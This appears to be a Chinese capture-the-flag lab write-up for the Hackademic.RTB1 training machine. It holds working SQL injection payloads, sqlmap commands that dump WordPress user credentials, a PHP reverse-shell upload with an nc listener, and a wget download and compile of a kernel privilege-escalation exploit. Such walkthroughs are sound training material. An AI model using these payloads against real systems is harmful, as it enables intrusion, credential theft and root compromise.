靶机介绍：

1）靶机名称：2-Free-Hackademic.RTB1

2）靶机链接：https://pan.baidu.com/s/1IMWhKd3h8sDcPelzXXhxKg 提取码：o5k0

3）课程来源：https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0

打靶过程：

1）启动靶机，选择网络模式为仅主机模式，由此可确定靶机地址段为192.168.56.0/24

2）通过nmap进行扫描，扫描192.168.56.0/24存活主机

#nmap -sP 192.168.56.0/24

通过扫描，确认靶机地址为192.168.56.104

3）使用nmap扫描该IP开放的所有端口

#nmap -p- 192.168.56.104

扫描发现，开放80端口

4）对每80端口进行工作服务的指纹扫描（应用服务版本信息等）

#nmap -p80 -sV -sC 192.168.56.104

5)访问web页面

http://192.168.56.104/

6）点击标题“Hackademic_RTB1”，出现如下页面

7）点击Got root，发现地址栏参数发生变化，http://192.168.56.104/Hackademic_RTB1/?p=9

8）对该URL进行SQL注入测试，判断是否存在SQL注入漏洞

http://192.168.56.104/Hackademic_RTB1/?p=9
http://192.168.56.104/Hackademic_RTB1/?p=9'

页面无明显变化，说明此处无SQL注入漏洞

9）点击上述页面最下方的“Uncategorized”发现，URL中的参数发生了变化

10）对上述URL进行SQL注入测试,页面发生了变化，说明存在SQL注入漏洞

http://192.168.56.104/Hackademic_RTB1/?cat=1
http://192.168.56.104/Hackademic_RTB1/?cat=1'

11）手动测试

http://192.168.56.104/Hackademic_RTB1/?cat=1 and 1=1
http://192.168.56.104/Hackademic_RTB1/?cat=1 and 1=2
http://192.168.56.104/Hackademic_RTB1/?cat=1 and 1=1 order by 5
http://192.168.56.104/Hackademic_RTB1/?cat=1 and 1=1 order by 6
http://192.168.56.104/Hackademic_RTB1/?cat=1 and 1=2 union select 1,2,3,4,5
http://192.168.56.104/Hackademic_RTB1/?cat=1 and 1=2 union select 1,databases(),3,4,5
http://192.168.56.104/Hackademic_RTB1/?cat=1 and 1=2 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()
http://192.168.56.104/Hackademic_RTB1/?cat=1 and 1=2 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name='wp_users'

12）SQLmap自动注入

①检测数据库类型，证明是否存在sql注入漏洞

# sqlmap -u "http://192.168.56.104/Hackademic_RTB1/?cat=1" --batch

②获取数据库

# sqlmap -u "http://192.168.56.104/Hackademic_RTB1/?cat=1" --dbms=MySQL  --dbs --batch

③获取wordpress数据库中的数据表

#sqlmap -u "http://192.168.56.104/Hackademic_RTB1/?cat=1" --dbms=MySQL  -D "wordpress" --tables --batch

④获取wp_users表中的所有字段

#sqlmap -u "http://192.168.56.104/Hackademic_RTB1/?cat=1" --dbms=MySQL  -D "wordpress" -T "wp_users" --columns --batch

⑤获取user_login和user_pass中的数据

#sqlmap -u "http://192.168.56.104/Hackademic_RTB1/?cat=1" --dbms=MySQL  -D "wordpress" -T "wp_users" -C user_login,user_pass --dump --batch

13）最后一个用户JohnSmith的user_pass通过md5进行了加密，可以对其进行破解

https://md5.gromweb.com/

14）通过dirserach对网站目录进行扫描，查看是否可以扫描出web站点的后台管理页面

# dirsearch -u "http://192.168.56.104"
# dirsearch -u "http://192.168.56.104/Hackademic_RTB1/"

15）通过访问扫描出的目录，发现了web站点后台地址

http://192.168.56.104/Hackademic_RTB1/wp-admin/

16）通过SQL注入出来的用户“GeorgeMiller”登入后台后，配置其可以上传的文件类型有php，并点击更新配置

17）上一步配置完成，后生成一个upload选线，运行上传PHP文件

18）下载PHP反弹shell脚本文件，并在upLoad页面进行上传

#php反弹shell脚本文件下载地址
https://pentestmonkey.net/tools/web-shells/php-reverse-shell

下载完成后，设置脚本中IP地址为kali主机地址（192.168.56.103）

上传成功后，返回如下页面及地址：href='/Hackademic_RTB1/wp-content/reverse.php

19）在Kali主机通过nc监听脚本中设置的端口（1234），并在浏览器访问刚才上传的php脚本文件

#nc -lvvp 1234
浏览器访问：http://192.168.56.104/Hackademic_RTB1/wp-content/reverse.php

此时已经成功反弹shell

20）查看当前用户是否具有sudo权限，提示必须要有一个控制终端

$sudo -s

21）查看当前主机内核为2.6.31

$uname -a

22）在kali主机搜索2.6.31内核对应的本地权限提示脚本

#searchsploit 2.6.3|grep -i "local privilege escalation"

23）将选定的提权脚本复制到Kali本机站点目录下，并启动httpd服务

# cp /usr/share/exploitdb/exploits/linux/local/15285.c /var/www/html
# systemctl restart apache2

24）在反弹shell成功后的主机，将上述脚本下载下来

$ cd /tmp
$ wget http://192.168.56.103/15285.c

25）通过gcc编译

$ gcc -o exp 15285.c
$ ls
$ chmod +x exp

26）获取flag

#cd /root
#ls
#cat key.txt